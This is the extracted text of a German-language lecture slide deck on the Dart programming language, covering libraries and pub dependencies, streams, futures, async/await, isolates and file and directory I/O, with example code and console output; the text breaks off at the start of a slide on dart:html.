// Libraries koennen top level Variablen beinhalten.
String _subjectToGreet = "World";
var _subjects = ["Max", "Moritz", "Maya", "Tessa"];
// Libraries koennen auch top level Funktionen definieren und natuerlich auch Klassen.
String randomHello() {
final r = new Random();
return hello(name : _subjects[r.nextInt(_subjects.length)]);
}
Datei: lib/greeter.dart
12. Eine Library definieren (III)
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12
// Angabe zu welcher Library dieser Teil gehoert
// (Backlink).
part of hellolib;
String goodbye([String name]) {
return "Good bye ${ name != null ? name : _subjectToGreet }";
}
Datei: lib/goodbye.dart
part of hellolib;
String hello({ String name : "World" }) {
_subjectToGreet = name;
return "Hello $_subjectToGreet";
}
Datei: lib/hello.dart
13. import "package:hellolib/greeter.dart" as greeter;
void main() {
assert(greeter.hello(name : "Max") == "Hello Max");
assert(greeter.goodbye() == "Good bye Max");
assert(greeter.hello(name : "Moritz") == "Hello Moritz");
assert(greeter.goodbye() == "Good bye Moritz");
assert(greeter.goodbye("Max again") == "Good bye Max again");
[1, 2, 3, 4, 5].forEach((_) {
print(greeter.randomHello());
print(greeter.goodbye());
});
}
name: UseHellolib
description: An application
dependencies:
hellolib:
path: ../hellolib
Eine Library nutzen (I)
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13
Datei: bin/usehellolib.dart
Datei: pubspec.yaml
Eine Import-Anweisung importiert eine
Library. Sollen Libraries ggf. über pub
automatisch bezogen werden, so
müssen erforderliche Bibliotheken in
der pubspec.yaml aufgeführt werden.
14. import "package:hellolib/greeter.dart";
void main() {
assert(hello(name : "Max") == "Hello Max");
assert(goodbye() == "Good bye Max");
assert(hello(name : "Moritz") == "Hello Moritz");
assert(goodbye() == "Good bye Moritz");
assert(goodbye("Max again") == "Good bye Max again");
[1, 2, 3, 4, 5].forEach((_) {
print(randomHello());
print(goodbye());
});
}
Eine Library nutzen (II)
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14
Datei: bin/usehellolib.dart
Ergeben sich bei einem Import keine
Namenskollisionen so kann man auf as name
verzichten. Die in der Library definierten Bezeichner
sind dann direkt nutzbar.
15. pubspec.yaml
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15
Pub unterscheidet drei
Quellen, die in einer
pubspec.yaml angegeben
werden können, um von dort
Packages zu laden.
• Hosted packages
• Git provided packages
• Path provided packages
dependencies:
hellolib:
dependencies:
hellolib:
hosted:
name: hellolib
url: "http://ex.org"
version: ">=1.0.0 <2.0.0“
dependencies:
hellolib:
git:
ref: some-branch
url: "git:github.com/hellolib.git"
dependencies:
hellolib:
path: /path/to/your/hellolib
dependencies:
hellolib:
git: "git:github.com/hellolib.git"
Hosted packages:
Git provided packages:
Path provided packages:
16. Weitere Informationen zu Dart pub
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Praktische Informatik und betriebliche Informationssysteme
16
Weitere Information zum Dart Package System pub finden sich hier:
http://pub.dartlang.org/doc/pubspec.html
http://pub.dartlang.org/doc/dependencies.html
http://pub.dartlang.org/doc/
17. Tour de Dart Libraries
dart:library
Das Library System
von Dart
dart:async
Asynchronous
Programming
dart:io
Files, Directories
dart:html
Manipulating the
DOM
dart:servers
HTTP Clients and
Servers
dart:convert
Decoding and
Encoding JSON,
HTML and more
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17
18. Asynchron programmieren
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18
Dart führt (wie jede andere imperative
Programmiersprache auch) Anweisungen sequentiell
aus. Die sequentielle Ausführung lassen sich mit
Kontrollstrukturen (Schleifen, Bedingte
Anweisungen, etc.) „umlenken“, jedoch werden
immer zwei Anweisungen hintereinander ausgeführt
und grundsätzlich existiert nur ein
Ausführungsthread.
Insbesondere in der Webprogrammierung bedeutet
sequentielle Ausführung von Anweisungen häufig
„stockende Reaktionen“ auf Benutzerinteraktionen,
da der Ausführungsthread gerade „anderes zu tun
hat“.
Asynchrone Programmierung bedeutet diese
sequentielle Anweisungsabfolge zu durchbrechen
und Anweisungen bspw. nur dann auszuführen,
wenn Ereignisse eintreten oder Anweisungen
tatsächlich parallel (d.h. gleichzeitig) auszuführen.
Dart sieht hierzu u.a. folgende Konzepte vor:
Futures
Streams
Isolates
19. Asynchron programmieren
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19
Die folgenden Beispiele werden wir anhand der Fibonacci
Funktion verdeutlichen. Diese ist nur ein Platzhalter für beliebige
Verarbeitungen von Daten. Die Fibonacci Funktion hat für uns
den Vorteil, dass sie bereits bei kleinen Zahlenwerten „spürbare“
Laufzeiten für ihr Berechnungsergebnis erzeugt.
Wir werden die Fibonaccifolgen z.B. für die Zahlen von 1 bis 20
wie folgt berechnen (und im weiteren) mittels Streams, Futures
und Isolates zunehmend asynchroner (und echt paralleler)
implementieren.
Futures
Streams
Isolates
// Eine klassische synchrone Methode.
num fib(num n) {
if (n == 0) return 0;
if (n == 1) return 1;
return fib(n-1) + fib(n-2);
}
main() {
for (int i=0; i <= 20; i++) {
print("fib($i) = ${fib(i)}");
}
}
20. Streams
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20
In der Informatik versteht man
unter einem Stream eine
(kontinuierliche) Übertragung von
Daten (gleichen Typs) von einer
Quelle zu einer Senke.
In Dart können solche Streams
mit einem StreamController
erzeugt werden (viele Dart IO
Funktionen/Methoden liefern
Streams zurück, auf die dann –
wie hier gezeigt – zugegriffen
werden kann).
Mittels listen kann man einen
Callback (anonyme Funktion)
registieren, die immer dann
aufgerufen wird, wenn ein neues
Element in den Stream geschickt
wurde.
import "dart:async";
main() {
// Erzeugen eines Streams
var broadcast = new StreamController<int>();
var stream = broadcast.stream;
// Berechne alles was im Stream kommt
// ereignisbasiert (Senke)
stream.listen((v) {
print("fib($v) = ${fib(v)}");
});
// Den Stream befuellen (Quelle)
for (int i=1; i <= 10; i++) broadcast.add(i);
for (int i=10; i >= 1; i--) broadcast.add(i);
print("Main finished.");
}
21. Streams
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21
D.h. die Daten des Streams
werden ausgeführt nachdem die
main() Funktion beendet wurde!
Mit anderen Worten asynchron!
Man sieht aber auch: Die Ausgabe
ist nicht beliebig (das wäre der
Fall bei echter Parallelität).
• Dart Programme sind
grundsätzlich single threaded!
Es kann zu einem Zeitpunkt
nur eine Anweisung ausgeführt
werden.
• Das vermeidet aber auch alle
Probleme der Multithread
Programmierung (vgl.
Programmieren II)
Main finished.
fib(1) = 1
fib(2) = 1
fib(3) = 2
fib(4) = 3
fib(5) = 5
fib(6) = 8
fib(7) = 13
fib(8) = 21
fib(9) = 34
fib(10) = 55
fib(10) = 55
fib(9) = 34
fib(8) = 21
fib(7) = 13
fib(6) = 8
...
Erzeugt folgende Konsolenausgabe:
22. Broadcast Streams
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Praktische Informatik und betriebliche Informationssysteme
22
Gezeigtes Beispiel verknüpft genau eine Quelle mit einer Senke.
Möchte man, dass eine Quelle mehrere (beliebig viele) Senken speist, muss man in Dart
Broadcast Streams mittels asBroadcastStream() erzeugen.
main() {
// Erzeugen eines Broadcaststreams
var broadcast = new StreamController<int>();
var stream = broadcast.stream.asBroadcastStream();
// Senke 1
stream.listen((v) {
print("Listener 1: fib($v) = ${fib(v)}");
});
// Senke 2
stream.listen((v) {
print("Listener 2: fib($v) = ${fib(v)}");
});
[...] // wie vorher
}
Main finished.
Listener 1: fib(1) = 1
Listener 2: fib(1) = 1
Listener 1: fib(2) = 1
Listener 2: fib(2) = 1
Listener 1: fib(3) = 2
Listener 2: fib(3) = 2
Listener 1: fib(4) = 3
Listener 2: fib(4) = 3
Listener 1: fib(5) = 5
Listener 2: fib(5) = 5
Listener 1: fib(6) = 8
...
Erzeugt folgende
Konsolenausgabe:
23. Streams filtern
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Praktische Informatik und betriebliche Informationssysteme
23
Es kann sein, dass Senken nicht
auf alle Ereignisse in einem
Stream reagieren sollen.
Dann kann man mittels Filter
Methoden
where()
takeWhile()
skipWhile()
take()
Streams nur anteilig verarbeiten.
// Erzeugen eines Broadcaststreams
var broadcast = new StreamController<int>();
var stream =
broadcast.stream.asBroadcastStream();
// Berechne nur Fibonaccis von geraden Werten
stream.where((v) => v % 2 == 0).listen((v) {
print("Listener 1: fib($v) = ${fib(v)}");
});
// Verabeite alles
stream.listen((v) {
print("Listener 2: fib($v) = ${fib(v)}");
});
// Verarbeite nur bis fib(7).
stream.takeWhile((v) => v <= 7).listen((v) {
print("Listener 3: fib($v) = ${fib(v)}");
});
24. Streams filtern mittels where()
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Praktische Informatik und betriebliche Informationssysteme
24
// Erzeugen eines Streams
var broadcast = new StreamController<int>();
var stream = broadcast.stream;
// Berechne nur Fibonaccis von geraden Werten
stream.where((v) => v % 2 == 0).listen((v) {
print("Listener 1: fib($v) = ${fib(v)}");
});
// Den Stream befuellen
for (int i=1; i <= 10; i++) broadcast.add(i);
for (int i=10; i >= 1; i--) broadcast.add(i);
print("Main finished.");
Main finished.
Listener 1: fib(2) = 1
Listener 1: fib(4) = 3
Listener 1: fib(6) = 8
Listener 1: fib(8) = 21
Listener 1: fib(10) = 55
Listener 1: fib(10) = 55
Listener 1: fib(8) = 21
Listener 1: fib(6) = 8
Listener 1: fib(4) = 3
Listener 1: fib(2) = 1
Erzeugt folgende
Konsolenausgabe:
Nur Ereignisse die einer Bedingung genügen
verarbeiten.
25. Streams filtern mittels takeWhile()
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Praktische Informatik und betriebliche Informationssysteme
25
// Erzeugen eines Streams
var broadcast = new StreamController<int>();
var stream = broadcast.stream;
// Verarbeite nur bis fib(7).
stream.takeWhile((v) => v <= 7).listen((v) {
print("Listener 2: fib($v) = ${fib(v)}");
});
// Den Stream befuellen
for (int i=1; i <= 10; i++) broadcast.add(i);
for (int i=10; i >= 1; i--) broadcast.add(i);
print("Main finished.");
Main finished.
Listener 2: fib(1) = 1
Listener 2: fib(2) = 1
Listener 2: fib(3) = 2
Listener 2: fib(4) = 3
Listener 2: fib(5) = 5
Listener 2: fib(6) = 8
Listener 2: fib(7) = 13
Erzeugt folgende
Konsolenausgabe:
Nur Ereignisse verarbeiten, bis eine Bedingung
nicht mehr erfüllt ist.
26. Streams filtern mittels skipWhile()
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Praktische Informatik und betriebliche Informationssysteme
26
// Erzeugen eines Streams
var broadcast = new StreamController<int>();
var stream = broadcast.stream;
// Verarbeite ab fib(7).
stream.skipWhile((v) => v <= 7).listen((v) {
print("Listener 3: fib($v) = ${fib(v)}");
});
// Den Stream befuellen
for (int i=1; i <= 10; i++) broadcast.add(i);
for (int i=10; i >= 1; i--) broadcast.add(i);
print("Main finished.");
Main finished.
Listener 3: fib(8) = 21
Listener 3: fib(9) = 34
Listener 3: fib(10) = 55
Listener 3: fib(10) = 55
Listener 3: fib(9) = 34
Listener 3: fib(8) = 21
Listener 3: fib(7) = 13
Listener 3: fib(6) = 8
Listener 3: fib(5) = 5
Listener 3: fib(4) = 3
Listener 3: fib(3) = 2
Listener 3: fib(2) = 1
Listener 3: fib(1) = 1
Erzeugt folgende
Konsolenausgabe:
Ereignisse nicht verarbeiten, solange eine
Bedingung nicht erfüllt ist.
27. Streams filtern mittels take()
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27
// Erzeugen eines Streams
var broadcast = new StreamController<int>();
var stream = broadcast.stream;
// Verarbeite nur die ersten drei Elemente
// des Streams
stream.take(3).listen((v) {
print("Listener 4: fib($v) = ${fib(v)}");
});
// Den Stream befuellen
for (int i=1; i <= 10; i++) broadcast.add(i);
for (int i=10; i >= 1; i--) broadcast.add(i);
print("Main finished.");
Main finished.
Listener 4: fib(1) = 1
Listener 4: fib(2) = 1
Listener 4: fib(3) = 2
Erzeugt folgende
Konsolenausgabe:Nur die ersten n Ereignisse verarbeiten.
28. Futures
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28
„Eine Future [...] bezeichnet in der
Programmierung einen Platzhalter [...] für
ein Ergebnis, das noch nicht bekannt ist,
meist weil seine Berechnung noch nicht
abgeschlossen ist.
Eine Future ist meist das Ergebnis eines
asynchronen Aufrufs einer Funktion oder
einer Methode und kann verwendet
werden, um auf das Ergebnis zuzugreifen,
sobald es verfügbar ist. [...] Das Konzept
der Futures wurde 1977 [...] von Henry G.
Baker und Carl Hewitt vorgestellt.“
Quelle: Wikipedia, Future
(Programmierung)
29. Futures
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Praktische Informatik und betriebliche Informationssysteme
29
import "dart:async";
// Eine klassische sequentielle Methode.
num fib(num n) {
if (n == 0) return 0;
if (n == 1) return 1;
return fib(n-1) + fib(n-2);
}
// Man kann Completer und Streams nutzen,
// um Methoden asynchron auszufuehren.
Future<int> fibAsync(int n) {
final completer = new Completer();
new StreamController()..stream.listen(
(n) => completer.complete(fib(n))
)..add(n);
return completer.future;
}
final t1 = new DateTime.now();
print("Zeit t1 vor fibAsync(): $t1");
fibAsync(45).then((r) {
final t2 = new DateTime.now();
print("Zeit t2 nach fibAsync(): $t2");
print("fib(45) = $r");
});
final t3 = new DateTime.now();
print("Ende t3 um $t3");
Zeit t1 vor fibAsync(): 14:30:33.590
Ende t3 um 14:30:33.786
Zeit t2 nach fibAsync(): 14:30:52.686
fib(45) = 1134903170
Konsolenausgabe (vereinfacht):
Gezeigtes Beispiel demonstriert die Wirkungsweise von Futures. Die Bearbeitung der Fibonacci Methode erfolgt
asynchron zur Anweisungssequenz (t1, t2, t3). Mit Aufruf der asynchronen Methode fibAsync() wird die Berechnung
bereits angestoßen. Mit einem zeitlichen Verzug wird das Berechnungsergebnis mittels then() Methode einem
Callback zur Verfügung gestellt (t2). Das Ende des Programms (t3) erfolgt aber vor Beendigung des Futurecallbacks
(t2).
30. Waiting for Futures
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30
final f10 = fibAsync(10);
final f20 = fibAsync(20);
final f30 = fibAsync(30);
final f40 = fibAsync(40);
Future.wait([f10, f20, f30, f40]).then((r) {
// r enthaelt die Berechnungsergebnisse
// der Futures auf die gewartet werden soll.
final sum = r.reduce((a, b) => a + b);
print("$sum");
});
Die Berechnung von Futures erfolgt also asynchron zur sequentiellen Abfolge von Anweisungen. Dies
ist kein Problem, solange zwischen Beendigung von Futures und weiteren Schritten keine
Abhängigkeit besteht. Dies ist aber nicht immer der Fall. So kann man sich bspw. vorstellen, dass vier
Fibonacci Zahlen berechnet werden sollen, um die Summe dieser vier Zahlen zu bestimmen. Die
Summe kann aber erst bestimmt werden, wenn die vier Fibonaccizahlen vorliegen. Somit muss die
Summenbildung auf die Beendigung der vier Futures warten. Hierzu gibt es die wait() Methode.
fibAsync(10)
fibAsync(20)
fibAsync(30)
fibAsync(40)
31. await / async seit Dart 1.9 (Teil I)
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31
Seit Dart 1.9 sind die Schlüsselworte async und await hinzugekommen. Diese vereinfachen es Methoden mit langer
Laufzeit asynchron zu definieren und auf Methodenergebnisse einzelner asynchroner Methoden zu warten.
// Asynchrone Variante (async/await)
Future<num> fibAsync(num n) async {
if (n == 0) return 0;
if (n == 1) return 1;
return await fib(n-1) + await fib(n-2);
}
// Eine klassische synchrone Methode.
num fib(num n) {
if (n == 0) return 0;
if (n == 1) return 1;
return fib(n-1) + fib(n-2);
}
// Klassischer synchroner Aufruf
int n = fib(10);
// Klassischer Aufruf (vor 1.9)
fibAsync(10).then((result) {
int n = result;
});
// Neuer Aufruf (mit await, seit Dart 1.9)
int n = await fib(10);
32. await / async seit Dart 1.9 (Teil II)
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32
Mit den Schlüsselworten async und await kann auch auf mehrere Futures gewartet werden. Hierzu kombiniert man
einfach das bereits bekannte Future.wait mit await.
// Asynchrone Variante (async/await)
Future<num> fibAsync(num n) async {
if (n == 0) return 0;
if (n == 1) return 1;
return await fib(n-1) + await fib(n-2);
}
// Alles asynchrone Aufrufe!
final f1 = fibAsync(1);
final f2 = fibAsync(2);
final f4 = fibAsync(4);
final f8 = fibAsync(8);
// Warten auf deren Ergebnisse
List<num> results = await Future.wait([f1, f2, f4, f8]);
print("Summe: ${results.reduce((a, b) => a + b) }");
33. Exception Handling bei Futures (I)
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33
num fib(num n) {
if (n < 0) throw new Exception("fib ist nicht für < 0 definiert");
if (n == 0) return 0;
if (n == 1) return 1;
return fib(n-1) + fib(n-2);
}
Wir schreiben unsere
fib() Methode nun
etwas um. Und zwar
derart, dass diese eine
Exception erzeugt,
wenn sie mit
negativen Werten
aufgerufen wird.
Future<int> fibAsync(int n) {
final completer = new Completer();
new StreamController()..stream.listen((n) {
try {
completer.complete(fib(n));
} catch (err, stacktrace) {
completer.completeError(err, stacktrace);
}
}
)..add(n);
return completer.future;
}
Unsere fibAsync() Methode wird dadurch
etwas komplexer. Die Fibonacci Berechnung
sollte nun unter Exception Kontrolle laufen.
Sollte eine Exception auftreten so ist diese
über completeError() an den
Completer weiterzugeben.
Die asynchrone Berechnung endet in diesem
Fall mit einem Fehler und nicht mit einem
Berechnungsergebnis.
Fehler dieser Art, können mit catchError()
gefangen und vom Aufrufer behandelt
werden.
34. Exception Handling bei Futures (II)
Prof. Dr. rer. nat. Nane Kratzke
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34
fibAsync(-20).then((r) {
print("fib(20) == $r");
return r;
}).catchError((err) {
// Hier ist die ausloesende Future klar. Wuerde es
// keinen catchError geben, wuerde der Error propagiert
print("$err");
return null;
});
Fehler können nun direkt
beim asynchronen Aufruf
erkannt und behandelt
werden.
Future.wait([fibAsync(10), fibAsync(20), fibAsync(-10), fibAsync(30)])
.then((r) {
final sum = r.reduce((a, b) => a + b);
print("$sum");
})
.catchError((err) {
// Future Error werden also propagiert. Dafuer kann nicht mehr festgestellt,
// welche Future der Ausloeser war.
print("$err");
});
Oder auch erst bei
nachfolgenden
Verarbeitungsschritten.
35. Werden Futures parallel ausgeführt?
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35
final start = new DateTime.now();
final f1 = fibAsync(45).then((r) {
print("Finished f1"); return r;
});
final f2 = fibAsync(45).then((r) {
print("Finished f2"); return r;
});
final f3 = fibAsync(45).then((r) {
print("Finished f3"); return r;
});
final f4 = fibAsync(45).then((r) {
print("Finished f4"); return r;
});
Future.wait([f1, f2, f3, f4]).then((r) {
final sum = r.reduce((a, b) => a + b);
final runTime = new DateTime.now().difference(start);
print("Berechnungsdauer von 4 x fib(45): $runTime");
});
Unser kleines Experiment sieht
wie folgt aus:
Wir starten 4 mal die
asynchrone Berechnung von
fib(45) und messen die
runTime.
Jedesmal wenn fib(45)
berechnet wurde, geben wir
dies aus.
Wir stellen fest, die Reihenfolge
der Ausgabe f1, f2, f3, f4 bleibt
erhalten (spricht gegen echte
Parallelität).
Finished f1
Finished f2
Finished f3
Finished f4
Berechnungsdauer von 4 x
fib(45): 0:01:14.845000
36. Werden Futures parallel ausgeführt?
Prof. Dr. rer. nat. Nane Kratzke
Praktische Informatik und betriebliche Informationssysteme
36
final start = new DateTime.now();
fibAsync(45).then((r) {
final runTime = new DateTime.now().difference(start);
print("Finished fib(45) in $runTime");
});
Bestimmen wir die Laufzeit nur
einer Berechnung
dauert diese etwa 18.85
Sekunden.Finished fib(45) in 0:00:18.858000
D.h. unser kleines Experiment zeigt. Die viermalige Berechnung von fib(45) dauert etwa
viermal so lange wie die einmalige Berechnung von fib(45).
Die Ausgabe asynchron ausgeführter Berechnungen von fib(45) erhält die Reihenfolge.
Beide Effekte zusammen genommen, lassen die Vermutung zu, dass sich Futures einen
Ausführungsthread teilen. Und genau dies ist der Fall in Dart. DartsFutures und Streams
sind per se nicht Multithreaded ausgelegt. Nur mittels Futures und Streams lassen sich
also Multiprozessorsysteme nicht optimal ausnutzen (d.h. Berechnungen tatsächlich auf
mehrere Kernen zeitgleich berechnen).
Hierzu benötigen wir Isolates!
37. Isolates
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37
Der Unterschied zwischen einem Prozess und
einem Thread ist, dass Threads gemeinsam auf
Daten eines Prozesses zugreifen können.
Dies führt jedoch ggf. zu
Synchronisierungsproblemen (vgl. Thread
Safeness, Programmieren II aber auch
Betriebssysteme).
So betrachtet sind Threads heikel, weil sie
konzeptionell schwer zu beherrschen sind. Der
Mensch ist meist nicht gut darin, in echt parallelen
statusbehafteten Abläufen zu denken.
Dart kennt daher Isolates. Isolates sind Threads
(BS-Sicht), jedoch erlaubt die Dart VM keinen
gemeinsamen Datenzugriff zwischen Threads
(isolierter Status pro Thread, daher der Name).
Isolates können sich nur Nachrichten schicken, um
miteinander zu kommunizieren.
Dies vermeidet konzeptionell viele Probleme, die
Java EntwicklerInnen bedenken müssen, wenn sie
bspw. das synchronized Schlüsselwort einsetzen.
Dart kennt kein synchronized. Dart kennt
Isolates!
38. The Downfall of Imperative Programming
Prof. Dr. rer. nat. Nane Kratzke
Praktische Informatik und betriebliche Informationssysteme
38
„If programmers were electricians, parallel
programmers would be bomb disposal experts.
Both cut wires [...]“
Bartosz Milewski, „The Downfall of Imperative Programming“
Quelle (letzter Zugriff am 22.12.2013):
https://www.fpcomplete.com/business/blog/the-downfall-of-imperative-programming/
Da war
was!
39. Isolatekonzept in Dart
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Praktische Informatik und betriebliche Informationssysteme
39
Dart hat keine Shared-Memory Threads.
Dart Code läuft in Isolates, die miteinander
mittels Nachrichten kommunizieren.
Nachrichten werden kopiert, bevor sie von
anderen Isolates verarbeitet werden.
So wird sichergestellt, dass verschiedene
Isolates nicht gegenseitig ihren Status
manipulieren können.
Da jedes Isolate einen eigenen Status hat,
benötigt man keine Locks, keine Mutuxes, etc.
Dies erleichtert konzeptionell Concurrent
Programming.
Ja: Wir sind alle daran gewöhnt, statusbehaftet
zu programmieren! Spätestens wenn zwei
Threads im Spiel sind, sollten wir aber
anfangen nervös zu werden.
40. Isolates (is like programming the hell)
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Praktische Informatik und betriebliche Informationssysteme
40
In der aktuellen Version der Dart API (1.1) ist die
Programmierung von Isolates alles andere als ein
Vergnügen.
Weder ist die Isolates API gut dokumentiert, noch ist
ersichtlich, wieso das Spawning von Isolates derart
kompliziert sein muss.
Wir werden daher Isolates mit einem Dart Package
worker erzeugen.
http://pub.dartlang.org/packages/worker
Das kapselt die etwas „gewöhnungsbedürftige“ Isolate
API von Dart und macht ziemlich genau das, was wir
wollen (mehrere Kerne eines Systems ausnützen).
41. Isolates (worker Package I)
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41
Das worker Package führt Tasks in
sogenannten Workern aus. Worker werden
durch das Package auf Isolates abgebildet.
Schaffen wir das?
Jo, wir schaffen
das!
abstract class Task<T> {
T execute ();
}
class Fibonacci extends Task<num> {
final int _n;
Fibonacci(this._n);
num execute() => fib(_n);
}
Um eine durch Worker auszuführende Task
definieren zu können, muss die abstrakte
execute() Methode implementiert werden.
Für unsere Fibonacci Methode könnte das
wie folgt aussehen:
42. Isolates (worker Package II)
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42
// Eintrag in pubspec.yaml nicht
// vergessen, damit pub funktioniert
import "package:worker/worker.dart";
main() {
// Wir sehen maximal 4 Isolates vor.
final isolates = new Worker(poolSize: 4);
// Wir instantiieren unser Problem.
final fib45 = new Fibonacci(45);
// Wir starten die Isolates und warten auf das Ergebnis.
isolates.handle(fib45).then((result) {
print("Iso 1: fib(45) = $result");
});
[...]
isolates.handle(fib45).then((result) {
print("Iso 4: fib(45) = $result");
});
}
Wir können dann isolates
wie folgt mittels handle()
starten (und auf Multicore
Prozessoren echt parallel
ablaufen lassen).
Iso 2: fib(45) = 1134903170
Iso 4: fib(45) = 1134903170
Iso 1: fib(45) = 1134903170
Iso 3: fib(45) = 1134903170
Gut zu erkennen, die
Ausgabereihenfolge der
Berechnungsergebnisse ist
nun nicht mehr identisch mit
den Vorkommen im Code.
43. Isolates (worker Package III)
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43
import "package:worker/worker.dart";
import "dart:async";
import "dart:io";
main() {
final start = new DateTime.now();
final isolates = new Worker(poolSize: 4);
final ends = new StreamController<DateTime>();
final fib45 = new Fibonacci(45);
Future.wait(
[isolates.handle(fib45), isolates.handle(fib45),
isolates.handle(fib45),isolates.handle(fib45),
]
).then((results) {
final actual = new DateTime.now();
final duration = actual.difference(start);
print("Berechnungsdauer von 4 x fib(45): $duration");
isolates.close();
});
}
handle() liefert uns immer ein Future
auf das zu erwartende Ergebnis des
Isolates, dass einen Task bearbeitet.
Mittels Future.wait() können wir
also auf mehrere echt parallel
angestoßene Berechnungen warten,
um bspw. Den Zeitpunkt zu messen,
wenn alle Berechnungen beendet
wurden.
Im Gegensatz zu dem rein Future
basierten Ansatz nutzen wir mit Isolates
also die Multicore Kapazitäten aus.
• Isolates: ca. 22,7 Sekunden
• Futures: ca. 74,8 Sekunden
• Speedup von etwa 3,3 (gemessen
auf einem 4 Core Rechner [8
Threads max. parallel])
Berechnungsdauer von 4 x fib(45):
0:00:22.776000
44. More about Isolates
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Praktische Informatik und betriebliche Informationssysteme
44
http://pub.dartlang.org/
packages/worker
Convienence Package zur komfortablen
Nutzung von Isolates. Wird in dieser
Präsentation genutzt, um die parallele
Berechnung von Fibonacci Zahlen mittels
Isolates zu realisieren. Das worker Package
hat allerdings die Einschränkung, dass es
momentan nur serverseitig einsetzbar ist
(Stand 04.02.2014).
https://gist.github.com/
mitsuoka/3102095
Der Fibonacci Test, mit reinen „Bordmitteln“
von Dart. Der Komplexitätsunterschied sollte
deutlich werden.
According to Seth Ladd:
„There‘s talk what to do“ with
isolates.
An der Isolates API wird sich
daher voraussichtlich (und
hoffentlich) noch einiges
ändern.
So far: Use the worker
package.
Seth Ladd
Developer Advocate
at Google
45. Tour de Dart Libraries
dart:library
Das Library System
von Dart
dart:async
Asynchronous
Programming
dart:io
Files, Directories
dart:html
Manipulating the
DOM
dart:servers
HTTP Clients and
Servers
dart:convert
Decoding and
Encoding JSON,
HTML and more
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45
46. Dateien all at once lesen
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46
import 'dart:io‘; import 'dart:convert';
void main() {
final f = new File('hello_world.txt');
// Man kann Dateien als String Future basiert auslesen
f.readAsString(encoding: const Utf8Codec()).then((contents) {
print(contents);
});
// oder auch synchron
print(f.readAsStringSync(encoding: const Utf8Codec()));
// Man kann Dateien auch in binary Form auslesen
f.readAsBytes().then((List<int> bytes) {
print("Länge der Datei ${f.path}: ${bytes.length} byte");
});
// Auch das geht natuerlich wieder synchron
// Oder auch synchron
List<int> bytes = f.readAsBytesSync();
print("Länge der Datei ${f.path}: ${bytes.length} byte");
}
Dart:IO ermöglicht
command line apps
Dateien lesen und
schreiben sowie
Verzeichnisse
auswerten zu können.
Dateien können dabei
entweder
• synchron
• mittels Futures
• als String oder
• als binary
verarbeitet werden.
Hinweis: Auf Random
Access wird hier nicht
eingegangen (weil man
das selten benötigt).
47. Dateien streambasiert lesen (I)
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Praktische Informatik und betriebliche Informationssysteme
47
import 'dart:io‘; import 'dart:async‘; import 'dart:convert';
main() {
final f = new File('hello_world.txt');
// Wir koennen Dateien auch streambasiert verarbeiten und werden dann
// informiert, wenn etwas der Datei hinzugefuegt wurde.
// Dies geht binary
f.openRead().listen((List<int> data) => print(data.length));
// Aber natuerlich auch (mit einem transform) String basiert
var c = 1;
f.openRead().transform(UTF8.decoder).listen((String data) {
print("Chunk ${c++}: $data");
});
}
48. Dateien streambasiert lesen (II)
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48
import 'dart:io';
import 'dart:async';
import 'dart:convert';
main() {
final f = new File('hello_world.txt');
// Dateien kann man mittels mehrerer transforms auch
// streambasiert zeilenweise lesen
var l = 1;
f.openRead().transform(UTF8.decoder) // Byte to String
.transform(new LineSplitter()) // Zeilenweise
.listen((String data) {
print("Line ${l++}: $data");
});
49. Dateien schreiben
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Praktische Informatik und betriebliche Informationssysteme
49
import 'dart:io';
import 'dart:convert';
main() {
final toWrite = ["Hallo,", "mein Name ist", "Hase!"];
// Dateien lassen sich all at once String basiert schreiben
final f = new File("/Users/Nane/Desktop/rabbit.txt");
f.writeAsString(toWrite.join("n"));
// Und natuerlich auch haeppchenweise Stream basiert
final g = new File("/Users/Nane/Desktop/rabbit-stream.txt");
final IOSink out = g.openWrite(encoding: const Utf8Codec());
for (var s in toWrite) out.write("$sn");
out.close();
}
50. Directories auslesen
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Praktische Informatik und betriebliche Informationssysteme
50
import 'dart:io';
main() {
// Ein Directory Object bietet die Moeglichkeit
// alle in ihm abgelegten Eintraege zu durchlaufen
// Hier Stream basiert
final home = new Directory("/Users/Nane/Sync/websites");
home.list(recursive: true).listen((dirOrFile) {
if (dirOrFile is Directory) print("${dirOrFile.path}");
});
// Das ganze geht auch synchron
home.listSync(recursive: true).forEach((dirOrFile) {
if (dirOrFile is Directory) print("${dirOrFile.path}");
});
}
51. Weitere Informationen zu Datei IO
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Praktische Informatik und betriebliche Informationssysteme
51
Sie können natürlich auch Dateien kopieren, löschen, Vereichnisse anlegen,
löschen etc.
https://api.dartlang.org/apidocs/
channels/be/#dart-io
https://api.dartlang.org/apidocs/
channels/be/#dart-io.FileSystemEntity
https://api.dartlang.org/apidocs/
channels/be/#dart-io.File
https://api.dartlang.org/apidocs/
channels/be/#dart-io.Directory
52. Miniübung:
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Praktische Informatik und betriebliche Informationssysteme
52
import 'dart:io';
main() {
final String home = Platform.environment['HOME'];
// Dateigroesse aller Dateien
final dir = new Directory(home);
dir.list(recursive: true) // Liste alle Dateien rekursiv auf
.where((entry) => entry is File) // Filtere alle Dateien
.map((File file) => file.lengthSync()) // Bestimme die Groeße pro Datei
.reduce((a, b) => a + b) // Zaehle alles zusammen
.then((total) { // Gib das Ergebnis aus
print("Größe aller Dateien in ${dir.path} beträgt $total bytes.");
});
}
Bestimmen Sie die Dateigröße aller ihrer Dateien im Home-Verzeichnis.
final String home = Platform.environment['HOME'];
53. Miniübung:
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Praktische Informatik und betriebliche Informationssysteme
53
Bestimmen Sie wie viele Verzeichnisse (inkl. Unterverzeichnisse, Unter-/Unterverzeichnisse, etc.) sich
in ihrem Home-Verzeichnis befinden.
final home = Platform.environment['HOME'];
import 'dart:io';
main() {
final String home = Platform.environment['HOME'];
// Anzahl an Verzeichnissen
final dir = new Directory(home);
dir.list(recursive: true)
.where((entry) => entry is Directory)
.length
.then((length) {
print("Es befinden sich $length Verzeichnisse unterhalb von ${dir.path}.");
});
}
54. Tour de Dart Libraries
dart:library
Das Library System
von Dart
dart:async
Asynchronous
Programming
dart:io
Files, Directories
dart:html
Manipulating the
DOM
dart:servers
HTTP Clients and
Servers
dart:convert
Decoding and
Encoding JSON,
HTML and more
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54
55. Elemente im DOM selektieren (I)
Prof. Dr. rer. nat. Nane Kratzke
Praktische Informatik und betriebliche Informationssysteme
55
JavaScript Programme können
(wenn im Browser ausgeführt)
auf das aktuell dargestellte
Dokument in seiner DOM-Form
zugreifen. Dies ist in der JS
Standard-API etwas
umständlich, deswegen hat sich
jQuery etabliert, dass es
ermöglicht Elemente des DOM-
Trees mittels (CSS) Selektoren
zu selektieren.
Dart stellt hierzu die Library
dart:html zur Verfügung, die
jQuery vergleichbare
